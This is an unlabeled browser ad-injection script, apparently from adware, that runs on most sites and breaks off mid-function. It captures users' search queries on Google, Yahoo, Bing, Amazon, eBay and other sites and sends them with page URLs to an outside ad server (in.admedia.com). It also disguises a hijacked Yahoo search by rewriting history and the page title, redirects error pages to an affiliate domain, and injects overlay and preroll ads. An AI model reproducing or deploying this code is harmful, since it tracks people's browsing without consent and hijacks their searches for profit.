if(document.location.href.indexOf('comscore.com') != -1 || document.location.href.indexOf('docs.google.com') != -1 || document.location.href.indexOf('google.com/calendar') != -1 || document.location.href.indexOf('google.com/analytics') != -1 || document.location.href.indexOf('google.com/alerts') != -1 || document.location.href.indexOf('coolchaser.com') != -1 || document.location.href.indexOf('mail.google.com') != -1 || document.location.href.indexOf('mngt.admedia') != -1 || document.location.href.indexOf('netflix.com') != -1 || document.location.href.indexOf('apple.com') != -1 || document.location.href.indexOf('mail.yahoo.com') != -1) throw "No Injection"; var yhsUrl = ""; var unique_yaid = "31785802296488"; if(document.location.href.indexOf('yahoo.com') != -1) checkYahooSearch(document.location.href); function checkYahooSearch(yurl) { var ySearchTerm = ""; var frVal = ""; var isYSearch = false; m = yurl.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/search\?(.+&)?p=([^&]*)(.+&)fr=([^&]*).*$/); if (m !== null) { isYSearch = true; ySearchTerm = unescape(m[2]); frVal = unescape(m[4]); } if(!isYSearch) { m = yurl.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/search\?(.+&)?fr=([^&]*)(.+&)p=([^&]*).*$/); if (m !== null) { isYSearch = true; ySearchTerm = unescape(m[4]); frVal = unescape(m[2]); } } if(!isYSearch) { m = yurl.match(/^https?:\/\/us\.yhs4\.search\.yahoo\.[a-z\.]+\/yhs\/search\?(.+&)?hsimp=yhs-mystartdefault(.+&)p=([^&]*).*$/); if (m !== null) { isYSearch = true; ySearchTerm = unescape(m[3]); } } if(!isYSearch) { m = yurl.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(;.*)\?(.+&)?p=([^&]*).*$/); if (m !== null) { isYSearch = true; ySearchTerm = unescape(m[4]); frVal = 'aaplw'; } } if(ySearchTerm != '') { var ydirect = encodeURIComponent("http://us.yhs4.search.yahoo.com/yhs/search?hspart=ditto&hsimp=yhs-imageadvantage&p="+ySearchTerm+"&type=115_5010_"+unique_yaid+"_YHS"); //window.location = "http://js.imageadnet.com/d/?url="+ydirect; } m = yurl.match(/^https?:\/\/us\.yhs4\.search\.yahoo\.[a-z\.]+\/yhs\/search\?.*$/); if (m !== null) { yhsUrl = yurl; window.history.pushState("newWebAddress", "Change web address", "/search"); var dtitle = document.title; dtitle = dtitle.replace("Image Advantage ", ""); document.title = dtitle; } } var xmlAds = 1; var bannerAds = 1; var inlineAds = 0; var overlayAds = 1; var footerrollAds = 1; var gcache = 0; var subid = ""; var randCtxt = 1; var ctxtBanners = 0; var vsliderAds = 0; var exitmonAds = 1; var offersliderAds = 1; var inlineEnabled = 1; var vdisplayEn = 0; var vdisplay = 0; var vsliderEn = 1; var travelSliderEn = 1; var shoppingAdsEn = 1; var banner_rep = 1; var usadservEx = "Oj07Jzw_PzIgMQ"; var dSites = new Array(); dSites['xml'] = ""; dSites['banner'] = ""; dSites['inline'] = ""; dSites['overlay'] = ""; dSites['footerroll'] = ""; var id = "ODorNiU"; var affiliate = "22296"; var pageUrl = ""; var xmlAff = "22296"; var cpmAccount = "ac_22302"; var prollEnabled = "1"; var placementID = "5629621"; var hplacementID = ""; var overlay_allow = ""; var inline_highlight = ""; var bannerHost = "b.cheapstuff.com/banners"; var prerollHost = "clubmother.com/preroll"; var shopAff = ""; var shopAffiliate = ""; var preroll_host = "HDrbNKI8CGpMU3nVNRwZVm3viSaWhhUU6Lh3ztXVW0c="; var spotx_ref = "pDyJO7lXrfJMHGCzC/8kAwcjAVpx5kwmgyGIbqjsmh8="; var bannerDomain = "b.cheapstuff.com"; var prerollDomain = "clubmother.com"; var vsid = ""; var showGoogleSerp = 1; var showGoogleShop = 1; if(affiliate == "21110" || affiliate == "24470" || affiliate == "25531") { if(document.location.href.indexOf('comscore.com') != -1 || document.location.href.indexOf('widdit.com') != -1 || document.location.href.indexOf('searchcompletion.com') != -1 || document.location.href.indexOf('certified-toolbar.com') != -1 || document.location.href.indexOf('protectedsearch.com') != -1 || document.location.href.indexOf('autocompletepro.com') != -1 || document.location.href.indexOf('complitly.com') != -1 || document.location.href.indexOf('onefloorapp.com') != -1) throw "No Injection"; } if(localStorage['googleSerpAds']) { var serpVal = localStorage['googleSerpAds'].split(';'); var cts = Math.round((new Date()).getTime() / 1000); if(serpVal[1] && serpVal[1] > cts) showGoogleSerp = 0; else localStorage.removeItem('googleSerpAds'); } if(localStorage['googleShopAds']) { var shopVal = localStorage['googleShopAds'].split(';'); var scts = Math.round((new Date()).getTime() / 1000); if(shopVal[1] && shopVal[1] > scts) showGoogleShop = 0; else localStorage.removeItem('googleShopAds'); } var title = ""; var desc = ""; var favicon = ""; var adUrl = ""; var redirect = ""; IEtitle = ""; IEurl = ""; IEdesc = ""; IEdomain = ""; IEfavicon = ""; IEtitle2 = ""; IEurl2 = ""; IEdesc2 = ""; IEdomain2 = ""; IEfavicon2 = ""; var ad_label = "Ads"; var ad_label_link = "javascript: void();"; var q_link = ""; if(yhsUrl != '') pageUrl = yhsUrl; else if(pageUrl == '') pageUrl = document.location.href; var pageReferer = document.referrer; var ie_version = -1; entity = function(url, mode) { var m; m = url.match(/^https?:\/\/([^\/]+\.)?([a-z0-9\-_]+?)\.(co|org|net|com|gov|name|arpa|mil|edu|biz|mobi|aero|asia|cat|coop|info|int|jobs|museum|pro|tel|travel|xxx|[a-z][a-z]|(co|edu|gov|net|org|com)\.[a-z][a-z])(\/|$)/i); if (m === null) { if(url.indexOf('dnserror') != -1 || url.indexOf('ieframe.dll') != -1) { var loc_sp = url.split("#"); if(loc_sp[1] && loc_sp[1] != '') window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+loc_sp[1]; } else throw 'Not a valid URL: ' + url; } if(m[2] == "co" && url.indexOf('bbc') != -1) return "bbc"; else if(m[2] == "yahoo" && url.indexOf('omg') != -1) return "omg"; if(mode == 1) return m[2]; else if(mode == 2) return m[2]+"."+m[3]; } var httpText = "http"; //if(id == "18793") //{ if(document.location.href.indexOf('https://') != -1) httpText = "https"; //} var pageEntity = entity(document.location.href, 1); var pageDomain = entity(document.location.href, 2); var refDomain = ""; if(document.referrer && document.referrer != '') refDomain = entity(document.referrer, 2); var zredirect = ""; var domRedKword = ""; var domRedUrl = ""; if(domRedUrl != '' && document.referrer.indexOf('r1.php') == -1 && document.referrer.indexOf('r2.php') == -1 && document.referrer.indexOf('cad.php') == -1 && document.referrer.indexOf('redirect.php') == -1 && refDomain != pageDomain && pageDomain != "hughesnet.com" && document.referrer.indexOf('bestreviewonlineproduct.com') == -1 && document.referrer.indexOf('trkreviews.com') == -1 && document.referrer.indexOf('bestsellersreviewguide.com') == -1 && document.referrer.indexOf('clkme.info') == -1) { zredirect = ""; window.location = domRedUrl; } //var pageEntity = "bestbuy"; var escapedTerm = ""; var term = ""; var fplayer_width = 300; var fplayer_height = 250; var deptApt = ""; var arrApt = ""; var deptDate = ""; var retDate = ""; overlayHosts = { dailymotion: false, bing: true, hulu: true, vimeo: false, youtube: true, mtv: true, vivo: true, imdb: true, ap: true, myspace: true, comcast: true, omg: true, tmz: true, 'break': true, flickr: true, zimbio: true, fandango: true, ksl: true, time: true, buy: true, ew: true, usmagazine: true, yahoo: true, aol: true, pbs: true, hollywoodreporter: true, cracked: true, collegehumor: true, nbc: true, cbs: true, vevo: true, metacafe: true, cbsnews: true, cbssports: true, maxpreps: true, cbslocal: true, zdnet: true, tv: true, chow: true, gamespot: true, gamefaqs: true, giantbomb: true, comicvine: true, majorleaguegaming: true, fandango: true, sciencedaily: true, huffingtonpost: true, ivillage: true, dinnertool: true, dailycandy: true, lifegoesstrong: true, cnbc: true, nbcnewyork: true, nbcfdw: true, nbcchicago: true, nbclosangeles: true, accesshollywood: true, g4tv: true, lyricsmode: true, mtvu: true, 'vh1': true, nextmovie: true, film: true, cmt: true, theslap: true, comedycentral: true, thedailyshow: true, colbertnation: true, gametrailers: true, onedirectionmusic: true, beyonceonline: true, '5min': true, people: true, theboot: true, spinner: true, fanpop: true, celebuzz: true, buzznet: true, gossipcenter: true, filmtrailers: true, rottentomatoes: true, 'celebrity-gossip': true, celebspin: true, teamcoco: true, disney: true, marvel: true, crackle: true, livemixtapes: true, joblo: true, ebaumsworld: true, screenrant: true, gamefly: true, pcgamer: true, gamesradar: true, techradar: true, discovery: true, mylifetime: true, biography: true, aetv: true, wetpaint: true, examiner: true, hollywood: true }; footerrollHosts = { pogo: true, popcap: true, ea: true, origin: true, 'thesims3': true, thesims: true, 'thesims2': true, simcity: true, battlefield: true, battlefieldheroes: true, easports: true, easportsworld: true, eafootballworld: true, swtor: true, needforspeed: true, speedhunters: true, eamobile: true, bioware: true, commandandconquer: true, playfish: true, medalofhonor: true, spore: true, lordofultima: true, armyoftwo: true, handson: true, masseffect: true, uoherald: true, uo: true, crysis: true, sporehero: true, ign: true, gamespy: true, fileplanet: true, teambox: true, gamespyarcade: true, gamestats: true, planetdiablo: true, gamestop: true, askmen: true, filefactory: true, ugo: true, atomicgamer: true, allmoviephoto: true, ebgames: true, civfanatics: true, allmovieportal: true, heromachine: true, gamecheats: true, moono: true, digitalriver: true, gamezone: true, planetminecraft: true, runescape: true, supercheats: true, spellingcity: true, wizards: true, lotro: true, neogaf: true, videogamesblogger: true }; prerollHosts = { yahoo: true, msn: true, youtube: true, aol: true, cnn: true, huffingtonpost: true, imdb: true, nytimes: true, flickr: true, foxnews: true, reddit: true, reference: true, washingtonpost: true, photobucket: true, wsj: true, expedia: true, latimes: true, tripadvisor: true, myspace: true, allrecipes: true, foxsports: true, cbssports: true, mashable: true, webmd: true, cbslocal: true, mlb: true, nydailynews: true, foodnetwork: true, kayak: true, sfgate: true, marketwatch: true, gsn: true, wildtangent: true, agame: true, nick: true, armorgames: true, rivalgaming: true, y8: true, pchgames: true, bigfishgames: true, king: true, kongregate: true, games: true, gamehouse: true, freeonlinegames: true, ninjakiwi: true, playsushi: true, gamesville: true, "10news":true }; homepageAdsHosts = { amazon: true, bestbuy: true, walmart: true, kmart: true, lowes: true, overstock: true, pronto: true, ebay: true, sears: true, shopping: true, shopzilla: true, staples: true, target: true, shopathome: true, kohls: true, gap: true, barnesandnoble: true, costco: true, ticketmaster: true, nextag: true, etsy: true, buycheapr: true, rakuten: true, alibaba: true, pricegrabber: true, limitedbrands: true, walgreens: true, proflowers: true, thefind: true, oldnavy: true, cvs: true, officedepot: true, stubhub: true, cafepress: true, bedbathandbeyond: true, gifts: true, drugstore: true, ikea: true, lego: true, guitarcenter: true, '1800flowers': true, cabelas: true, hsn: true, sony: true, fingerhut: true, dsw: true, hottopic: true, zazzle: true, kroger: true, abercrombie: true, movietickets: true, dickssportinggoods: true, shopwiki: true, radioshack: true, consumersearch: true, orientaltrading: true, officemax: true, cduniverse: true, tickets: true, finishline: true, harborfreight: true, eastbay: true, shoplocal: true, sportsauthority: true, landsend: true, wayfair: true, menards: true, basspro: true, microsoftstore: true, become: true, thinkgeek: true, joann: true, shoebuy: true, 'best-deal': true, dhgate: true, northerntool: true, wirefly: true, christianbook: true, safeway: true, acehardware: true, childrensplace: true, style: true, jcwhitney: true, simon: true, riteaid: true, nomorerack: true, pacsun: true, customink: true, personalizationmall: true, lightinthebox: true, jr: true, wetseal: true, charlotterusse: true, toms: true, grasscity: true, disneystore: true, ediblearrangements: true, autoanything: true, redenvelope: true, proactiv: true, llbean: true, logitech: true, bradfordexchange: true, academy: true, ulta: true, ticketliquidator: true, dressbarn: true, coldwatercreek: true, belk: true, drjays: true, techbargains: true, berries: true, bonton: true, bluefly: true, bonanza: true, nyandcompany: true, adorama: true }; blacklistInlineHosts = { 'google.com': true, 'search.yahoo.com': true, 'bing.com': true, 'aol.com': true, 'ask.com': true, 'info.com': true, 'infospace.com': true, 'thehartford.com': true, 'geico.com': true, 'online.americanexpress.com': true, 'americanexpress.com': true, 'eastbay.com': true, 'twitter.com': true, 'citysearch.com': true, '21st.com': true, 'allstate.com': true, 'autoinsurancequotes.com': true, 'go2cloud.org': true, 'bankrateinsurancequotes.com': true, 'mail.yahoo.com': true, 'mail.aol.com': true, 'gmail.com': true, 'mail.google.com': true, 'login.live.com': true, 'mail.live.com': true, 'att.com': true, 'att.net': true, 'mysprint.sprint.com': true, 'secure.bankofamerica.com': true, 'bankofamerica.com': true, 'wellsfargo.com': true, 'chase.com': true, 'usbank.com': true, 'verizonwireless.com': true, 'verizon.com': true, 'verizon.net': true, 't�mobile.com': true, 'metropcs.com': true, 'facebook.com': true, 'twitter.com': true, 'americanexpress.com': true, 'citibank.com': true, 'virginmobileusa.com': true, 'boostmobile.com': true, 'citibank.com': true, 'client.schwab.com': true }; function loadScript(url, callback) { var head = document.getElementsByTagName("head")[0]; addLater = false; if(!head){ head = document.createElement("head"); addLater = true; } var script = document.createElement("script"); script.src = url; script.type = "text/javascript"; if (script.readyState){ //IE script.onreadystatechange = function(){ if (script.readyState == "loaded" || script.readyState == "complete"){ script.onreadystatechange = null; callback(); } }; } else { //Others script.onload = function(){ callback(); }; } head.appendChild(script); if(addLater){ document.documentElement.appendChild(head); } } determineIsSearch = function() { var m, href; href = pageUrl; ref = document.referrer; // Defaults isTravel = false; isSearch = false; isShop = false; isGoogle = false; isGoogleAjax = false; isBing = false; isYahoo = false; isAsk = false; isAmazon = false; isEbay = false; isOverstock = false; isInfo = false; isInfospace = false; isBlinkx = false; isLocal = false; isYellowbook = false; isYellowpages = false; isSuperpages = false; isBusiness = false; isAol = false; isLive = false; isTwitter = false; isAmazon = false; isTarget = false; isBestBuy = false; isShopzilla = false; isPronto = false; isStaples = false; isMacys = false; isHomeDepot = false; isLowes = false; isShopping = false; isKmart = false; isJcPenny = false; isSears = false; isWalmart = false; isComcast = false; isFoxnews = false; isYelp = false; isYoutube = false; isEtsy = false; isMws = false; isUps = false; isUsps = false; isReference = false; isAtt = false; isIntuit = false; isRr = false; isIndeed = false; isUsa = false; isWsj = false; isDailymail = false; isVimeo = false; isLatimes = false; isNewegg = false; isTmz = false; isMyspace = false; isFiverr = false; isGo = false; isAllrecipes = false; isFoxsports = false; isCbssports = false; isShopathome = false; isSlickdeals = false; isVerizon = false; isSwest = false; isSquidoo = false; isKohls = false; isCbuilder = false; isPeople = false; isGoD = false; isGap = false; isMonster = false; isMeetup = false; isWebmd = false; isReuters = false; isCa = false; isNih = false; isIgn = false; isWpages = false; isMlb = false; isRetailmenot = false; isNydaily = false; isDigg = false; isHubpages = false; isSresults = false; isFnetwork = false; isElink = false; isDM = false; isKayak = false; isSfgate = false; isCostco = false; isHp = false; isCBank = false; isBberg = false; isMwatch = false; isBabylon = false; isNextag = false; isPGrabber = false; isBCheapr = false; isAlibaba = false; isZazzle = false; isThefind = false; isNStrom = false; isOdepot = false; isF21 = false; isBedbath = false; isQvc = false; isGifts = false; isDrugstore = false; is123rf = false; isGamestop = false; isBnoble = false; isZappos = false; isWalgreens = false; isDell = false; isCvs = false; isBizrate = false; isNike = false; isWayfair = false; isEvite = false; isSamsclub = false; isVictorias = false; isDicks = false; isVista = false; isCafepress = false; isAe = false; isHsn = false; isFootlocker = false; isLenovo = false; isSmarter = false; isCraigslist = false; isBackpage = false; isDuckgo = false; isAbout = false; isDevart = false; isJeepforum = false; isImgur = false; isFindprices = false; isSafercar = false; isAbcteach = false; isJimmyjazz = false; isAliexpress = false; isCrengland = false; isBehance = false; isRewarder = false; isRmondpie = false; is123peppy = false; isMovie2k = false; isWmur = false; isIsticker = false; isNbcphil = false; isGriffin = false; isLds = false; isPcrich = false; isPcmag = false; isSidereel = false; isUgg = false; isFunnymama = false; isHamilton = false; isQuizlet = false; isRantlife = false; isFashiondiva = false; isNg = false; isCnet = false; isPopphoto = false; isRedbubble = false; isSephora = false; isDailykos = false; isCargurus = false; is13wmaz = false; isTinypic = false; isMicrosoft = false; isCnn = false; isLinkedin = false; isPinterest = false; switch (pageEntity) { case 'google': // Different classes are used by google search if(jQuery('#tsf').length > 0) { var googleIn = '#lst-ib'; // For input box var googleBt = '#tsf :submit'; // For Button } else { var googleIn = '#gbqfq'; var googleBt = '#gbqf :submit'; } jQuery(googleIn).keydown(function(event) { if(event.which == 13 && dSites['xml'].indexOf("google,") == -1 && xmlAds == 1) // If enter is pressed { term = jQuery(googleIn).val(); escapedTerm = term; isGoogle = true; injectShoppingAds(term); //openPopUpTab(term); //if(ie_version != 1) //setTimeout(function() { injectXmlAds(); }, 1000); //else setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } else if(event.which == 13 && (dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") // If disabled { //openPopUpTab(term); if(showGoogleSerp == 1 || showGoogleShop == 1) { term = jQuery(googleIn).val(); escapedTerm = term; isGoogle = true; if(showGoogleShop == 1) injectShoppingAds(term); if(showGoogleSerp == 1) setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } } // In case suggestion terms are clicked on if(ie_version != 1) jQuery('.gstl_0.gssb_c').unbind('click'); else jQuery('.gstl_0.gssb_c').unbind('mouseleave'); // IE works on mouse events only if(jQuery('.gstl_0.gssb_c').length > 0) { if(ie_version != 1) { jQuery('.gstl_0.gssb_c').click(function() { term = jQuery(googleIn).val(); escapedTerm = term; isGoogle = true; if(dSites['xml'].indexOf("google,") == -1 && xmlAds == 1) { //openPopUpTab(term); injectShoppingAds(term); setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } else if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") { //openPopUpTab(term); if(showGoogleShop == 1) injectShoppingAds(term); if(showGoogleSerp == 1) setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } }); } else { jQuery('.gstl_0.gssb_c').mouseleave(function() { term = jQuery(googleIn).val(); escapedTerm = term; isGoogle = true; if(dSites['xml'].indexOf("google,") == -1 && xmlAds == 1) { //openPopUpTab(term); injectShoppingAds(term); setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } else if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") { //openPopUpTab(term); if(showGoogleShop == 1) injectShoppingAds(term); if(showGoogleSerp == 1) setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } }); } } }); jQuery(googleBt).click(function() { term = jQuery(googleIn).val(); escapedTerm = term; isGoogle = true; if(dSites['xml'].indexOf("google,") == -1 && xmlAds == 1) { //openPopUpTab(term); injectShoppingAds(term); setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } else if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") { //openPopUpTab(term); if(showGoogleShop == 1) injectShoppingAds(term); if(showGoogleSerp == 1) setTimeout(function() { loadScript("https://in.admedia.com/content.php?id="+xmlAff+"&term=" +escapedTerm+"&s=1&pageDomain="+pageDomain+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&callback=getIECallback", function(){}); }, 1000); } }); m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/.*#(.+&)?q=([^&]*).*$/); if (m !== null) { isGoogle = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/); if (m !== null) { isGoogle = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'bing': m = href.match(/^https?:\/\/.*\.bing\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/); if (m !== null) { isBing = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'yahoo': jQuery("#yschsp").keydown(function(event) { if(event.which == 13) // If enter is pressed { //openPopUpTab(jQuery('#yschsp').val()); } }); m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(;.*)\?(.+&)?p=([^&]*).*$/); if (m !== null) { isYahoo = true; escapedTerm = m[4]; term = unescape(m[4]); isSearch = true; return; } m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(\/;.*)\?(.+&)?p=([^&]*).*$/); if (m !== null) { isYahoo = true; escapedTerm = m[4]; term = unescape(m[4]); isSearch = true; return; } m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*)\/;.*$/); if (m !== null) { isYahoo = true; escapedTerm = m[1]; term = unescape(m[1]); isSearch = true; return; } m = href.match(/^https?:\/\/us\.yhs4\.search\.yahoo\.[a-z\.]+\/yhs\/search\?(.+&)?p=([^&]*).*$/); if (m !== null) { isYahoo = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = href.match(/^https?:\/\/search\.yahoo\.[a-z\.]+\/404handler\?(.+&)?url=([^&]*).*$/); if (m !== null) { isYahoo = true; document.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+unescape(m[2]); isSearch = true; return; } m = href.match(/^https?:\/\/[a-z]+\.travel\.yahoo\.net\/flights.*$/); if (m !== null) { deptApt = jQuery('input[name="leavingFrom1"]').val(); arrApt = jQuery('input[name="goingTo1"]').val(); deptDate = jQuery('input[name="leavingDate"]').val(); retDate = jQuery('input[name="returningDate"]').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '' && arrApt && arrApt != '' && deptDate && deptDate != '') isTravel = true; return; } break; case 'ask': m = href.match(/^https?:\/\/www\.ask\.[a-z\.]+\/web\?(.+&)?q=([^&]*).*$/) if (m !== null) { isAsk = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'amazon': m = href.match(/^https?:\/\/.*\.amazon\.[a-z\.]+\/s\/.*\?(.+&)?field-keywords=([^&]*).*$/); if (m !== null) { isAmazon = true; escapedTerm = m[2]; term = unescape(m[2]); isShop = true; return; } m = ref.match(/^https?:\/\/.*\.amazon\.[a-z\.]+\/s\/.*\?(.+&)?field-keywords=([^&]*).*$/); if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'ebay': m = href.match(/^https?:\/\/shop\.ebay\.[a-z\.]+\/i\.html\?(.+&)?_nkw=([^&]*).*$/); if (m !== null) { isEbay = true; escapedTerm = m[2]; term = unescape(m[2]); isShop = true; return; } m = href.match(/^https?:\/\/(www\.)ebay\.[a-z\.]+\/sch\/i\.html\?(.+&)?_nkw=([^&]*).*$/); if (m !== null) { isEbay = true; escapedTerm = m[3]; term = unescape(m[3]); isShop = true; return; } m = ref.match(/^https?:\/\/(www\.)ebay\.[a-z\.]+\/sch\/i\.html\?(.+&)?_nkw=([^&]*).*$/); if (m !== null) { escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'overstock': m = href.match(/^https?:\/\/(www\.)?overstock\.[a-z\.]+\/search\/?\?(.+&)?keywords=([^&]*).*$/) if (m !== null) { isOverstock = true; escapedTerm = m[3]; term = unescape(m[3]); isShop = true; return; } m = ref.match(/^https?:\/\/(www\.)?overstock\.[a-z\.]+\/search\/?\?(.+&)?keywords=([^&]*).*$/) if (m !== null) { escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'info': m = href.match(/^https?:\/\/(www\.)?info\.[a-z\.]+\/searchw\/?\?(.+&)?qkw=([^&]*).*$/) if (m !== null) { isInfo = true; escapedTerm = m[3]; term = unescape(m[3]); isSearch = true; return; } m = href.match(/^https?:\/\/(www\.)?info\.[a-z\.]+\/search\/?\?(.+&)?qkw=([^&]*).*$/) if (m !== null) { isInfo = true; escapedTerm = m[3]; term = unescape(m[3]); isSearch = true; return; } break; case 'infospace': m = href.match(/^https?:\/\/(.*?)\.infospace\.com\/search\/web\?(.+&)?q=([^&]*).*$/) if (m !== null) { isInfospace = true; escapedTerm = m[3]; term = unescape(m[3]); isSearch = true; return; } break; case 'blinkx': m = href.match(/^https?:\/\/(www\.)?blinkx\.[a-z\.]+\/videos\/(.+)(\/|$)/) if (m !== null) { isBlinkx = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'local': m = href.match(/^https?:\/\/www\.local\.[a-z\.]+\/business\/results\/\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isLocal = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'yellowbook': m = href.match(/^https?:\/\/www\.yellowbook\.[a-z\.]+\/yellow-pages\/?\?(.+&)?what=([^&]*).*$/) if (m !== null) { isYellowbook = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = href.match(/^https?:\/\/beta\.yellowbook\.[a-z\.]+\/yellow-pages\/?\?(.+&)?what=([^&]*).*$/) if (m !== null) { isYellowbook = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'yellowpages': m = href.match(/^https?:\/\/www\.yellowpages\.[a-z\.]+\/.+?\/(.+?)(\/|$)/) if (m !== null) { isYellowpages = true; escapedTerm = m[1]; term = unescape(m[1]); isSearch = true; return; } break; case 'superpages': m = href.match(/^https?:\/\/yellowpages\.superpages\.[a-z\.]+\/listings.jsp\/?\?(.+&)?C=([^&]*).*$/) if (m !== null) { isSuperpages = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'ask': m = href.match(/^https?:\/\/www\.ask\.[a-z\.]+\/web\/?\?(.+&)?q=([^&]*).*$/) if (m !== null) { isAsk = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'aol': m = href.match(/^https?:\/\/aolsearcht[0-9].*\.search\.aol\.[a-z\.]+\/aol\/search\/?\?(.+&)?q=([^&]*).*$/) if (m !== null) { isAol = true; escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/search\.aol\.[a-z\.]+\/aol\/search\?(.+&)?q=([^&]*).*$/) if (m !== null) { isAol = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'twitter': m = href.match(/^https?:\/\/twitter\.com\/(.*?)\?(.+&)?q=([^&]*).*$/); if (m !== null) { isTwitter = true; escapedTerm = m[3]; term = unescape(m[3]); isSearch = true; return; } break; case 'target': m = href.match(/^https?:\/\/www\.target\.[a-z\.]+\/s\/?\?(.+&)?searchTerm=([^&]*).*$/) if (m !== null) { isTarget = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = ref.match(/^https?:\/\/www\.target\.[a-z\.]+\/s\/?\?(.+&)?searchTerm=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } break; case 'bestbuy': m = href.match(/^https?:\/\/www\.bestbuy\.[a-z\.]+\/site\/searchpage.jsp(;.*)?\?(.+&)?st=([^&]*).*$/) if (m !== null) { isBestBuy = true; escapedTerm = m[3]; term = unescape(m[3]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.bestbuy\.[a-z\.]+\/site\/searchpage.jsp(;.*)?\?(.+&)?st=([^&]*).*$/) if (m !== null) { escapedTerm = m[3]; term = unescape(m[3]); return; } break; case 'shopzilla': m = href.match(/^https?:\/\/www\.shopzilla\.[a-z\.]+\/([^\/]*).*/) if (m !== null) { isShopzilla = true; escapedTerm = m[1]; term = unescape(m[1]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.shopzilla\.[a-z\.]+\/[a-z\-]+\/(.+)(\/|$)/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'pronto': m = href.match(/^https?:\/\/www\.pronto\.[a-z\.]+\/shop\/(.+)(\/|$)/) if (m !== null) { isPronto = true; escapedTerm = m[1]; term = unescape(m[1]); isShop = true; return; } m = ref.match(/^https?:\/\/www\.pronto\.[a-z\.]+\/shop\/(.+)(\/|$)/) if (m !== null) { escapedTerm = m[1]; term = unescape(m[1]); return; } break; case 'macys': m = href.match(/^https?:\/\/www[0-9]?\.macys\.[a-z\.]+\/search\/index.ognc\?(.+&)?Keyword=([^&]*).*$/) if (m !== null) { isMacys = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } m = ref.match(/^https?:\/\/www[0-9]?\.macys\.[a-z\.]+\/search\/index.ognc\?(.+&)?Keyword=([^&]*).*$/) if (m !== null) { escapedTerm = m[2]; term = unescape(m[2]); return; } m = href.match(/^https?:\/\/www[0-9]?\.macys\.[a-z\.]+\/.*\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isMacys = true; escapedTerm = m[2]; term = unescape(m[2]); isSearch = true; return; } break; case 'homedepot': m = href.match(/^https?:\/\/www\.homedepot\.[a-z\.]+\/webapp\/.*\?(.+&)?keyword=([^&]*).*$/) if (m !== null) { isHomeDepot = true; escapedTerm = m[2]; term = unescape(m[2]); isShop = true; return; } m = 